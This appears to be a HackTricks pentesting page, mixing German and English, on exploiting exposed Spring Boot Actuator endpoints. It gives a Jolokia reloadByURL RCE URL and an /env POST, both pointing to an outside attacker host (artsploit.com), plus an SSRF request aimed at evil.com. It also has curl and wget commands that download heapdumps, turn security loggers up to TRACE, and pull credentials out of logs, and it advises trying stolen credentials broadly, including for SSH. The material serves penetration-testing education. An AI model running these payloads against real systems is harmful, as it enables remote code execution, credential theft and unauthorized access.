# Spring Actuatoren

{{#include ../../banners/hacktricks-training.md}}

## **Spring Auth Bypass**

<figure><img src="../../images/image (927).png" alt=""><figcaption></figcaption></figure>

**Von** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)

## Ausnutzen von Spring Boot Actuators

**Siehe den Originalbeitrag von** \[**https://www.veracode.com/blog/research/exploiting-spring-boot-actuators**]

### **Kernpunkte:**

- Spring Boot Actuatoren registrieren Endpunkte wie `/health`, `/trace`, `/beans`, `/env` usw. In den Versionen 1 bis 1.4 sind diese Endpunkte ohne Authentifizierung zugänglich. Ab Version 1.5 sind standardmäßig nur `/health` und `/info` nicht-sensitiv, aber Entwickler deaktivieren diese Absicherung häufig.
- Bestimmte Actuator-Endpunkte können sensible Daten offenlegen oder schädliche Aktionen erlauben:
- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` und `/heapdump`.
- In Spring Boot 1.x werden Actuatoren unter der Root-URL registriert, während sie in 2.x unter dem Basis-Pfad `/actuator/` liegen.

### **Ausnutzungsmethoden:**

1. **Remote Code Execution via '/jolokia'**:
- Der `/jolokia` Actuator-Endpunkt exponiert die Jolokia Library, die HTTP-Zugriff auf MBeans ermöglicht.
- Die Aktion `reloadByURL` kann ausgenutzt werden, um Logging-Konfigurationen von einer externen URL nachzuladen, was zu blind XXE oder Remote Code Execution über manipulierte XML-Konfigurationen führen kann.
- Beispiel-Exploit-URL: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`.
2. **Config Modification via '/env'**:

- Wenn Spring Cloud Libraries vorhanden sind, erlaubt der `/env` Endpunkt die Änderung von Umgebungs-Properties.
- Properties können so manipuliert werden, dass Schwachstellen ausgenutzt werden, z. B. die XStream-Deserialisierungsschwachstelle in der Eureka serviceURL.
- Beispiel-Exploit-POST-Request:

```
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65

eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
```

3. **Weitere nützliche Einstellungen**:
- Properties wie `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` und `spring.datasource.tomcat.max-active` können für verschiedene Exploits manipuliert werden, z. B. SQL-Injection oder zum Ändern von Datenbankverbindungsstrings.

### **Zusätzliche Informationen:**

- Eine umfassende Liste der Standard-Actuatoren findet sich [hier](https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt).
- Der `/env` Endpunkt in Spring Boot 2.x verwendet JSON-Format zur Property-Änderung, das Grundkonzept bleibt jedoch gleich.

### **Verwandte Themen:**

1.  **Env + H2 RCE**:
- Details zum Ausnutzen der Kombination aus `/env` Endpunkt und H2-Datenbank finden sich [hier](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database).

2.  **SSRF on Spring Boot Through Incorrect Pathname Interpretation**:
- Die Handhabung von Matrix-Parametern (`;`) in HTTP-Pfaden durch das Spring-Framework kann für Server-Side Request Forgery (SSRF) ausgenutzt werden.
- Beispiel-Exploit-Anfrage:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close
```
## HeapDump-Secrets auslesen (credentials, tokens, internal URLs)

If `/actuator/heapdump` is exposed, you can usually retrieve a full JVM heap snapshot that frequently contains live secrets (DB creds, API keys, Basic-Auth, internal service URLs, Spring property maps, etc.).

- Download and quick triage:
```bash
wget http://target/actuator/heapdump -O heapdump
# Quick wins: look for HTTP auth and JDBC
strings -a heapdump | grep -nE 'Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client'
# Decode any Basic credentials you find
printf %s 'RXhhbXBsZUJhc2U2NEhlcmU=' | base64 -d
```

- Deeper analysis with VisualVM and OQL:
- Open heapdump in VisualVM, inspect instances of `java.lang.String` or run OQL to hunt secrets:
```
select s.toString()
from java.lang.String s
where /Authorization: Basic|jdbc:|password=|spring\.datasource|eureka\.client|OriginTrackedMapPropertySource/i.test(s.toString())
```

- Automated extraction with JDumpSpider:
```bash
java -jar JDumpSpider-*.jar heapdump
```
Typische besonders wertvolle Funde:
- Spring `DataSourceProperties` / `HikariDataSource` objects exposing `url`, `username`, `password`.
- `OriginTrackedMapPropertySource` entries revealing `management.endpoints.web.exposure.include`, service ports, and embedded Basic-Auth in URLs (e.g., Eureka `defaultZone`).
- Plain HTTP request/response fragments including `Authorization: Basic ...` captured in memory.

Tipps:
- Use a Spring-focused wordlist to discover actuator endpoints quickly (e.g., SecLists spring-boot.txt) und prüfe immer, ob `/actuator/logfile`, `/actuator/httpexchanges`, `/actuator/env` und `/actuator/configprops` ebenfalls exposed sind.
- Credentials from heapdump often work for adjacent services and sometimes for system users (SSH), so try them broadly.


## Actuator-Logger/Logging missbrauchen, um credentials zu erfassen

If `management.endpoints.web.exposure.include` allows it and `/actuator/loggers` is exposed, you can dynamically increase log levels to DEBUG/TRACE for packages that handle authentication and request processing. Combined with readable logs (via `/actuator/logfile` or known log paths), this can leak credentials submitted during login flows (e.g., Basic-Auth headers or form parameters).

- Enumerate and crank up sensitive loggers:
```bash
# List available loggers
curl -s http://target/actuator/loggers | jq .

# Enable very verbose logs for security/web stacks (adjust as needed)
curl -s -X POST http://target/actuator/loggers/org.springframework.security \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.web \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
curl -s -X POST http://target/actuator/loggers/org.springframework.cloud.gateway \
-H 'Content-Type: application/json' -d '{"configuredLevel":"TRACE"}'
```

- Find where logs are written and harvest:
```bash
# If exposed, read from Actuator directly
curl -s http://target/actuator/logfile | strings | grep -nE 'Authorization:|username=|password='

# Otherwise, query env/config to locate file path
curl -s http://target/actuator/env | jq '.propertySources[].properties | to_entries[] | select(.key|test("^logging\\.(file|path)"))'
```

- Trigger login/authentication traffic and parse the log for creds. In microservice setups with a gateway fronting auth, enabling TRACE for gateway/security packages often makes headers and form bodies visible. Some environments even generate synthetic login traffic periodically, making harvesting trivial once logging is verbose.

Hinweise:
- Reset log levels when done: `POST /actuator/loggers/<logger>` with `{ "configuredLevel": null }`.
- If `/actuator/httpexchanges` is exposed, it can also surface recent request metadata that may include sensitive headers.


## Referenzen

- [Exploring Spring Boot Actuator Misconfigurations (Wiz)](https://www.wiz.io/blog/spring-boot-actuator-misconfigurations)
- [VisualVM](https://visualvm.github.io/)
- [JDumpSpider](https://github.com/whwlsfb/JDumpSpider)
- [0xdf – HTB Eureka (Actuator heapdump to creds, Gateway logging abuse)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html)

{{#include ../../banners/hacktricks-training.md}}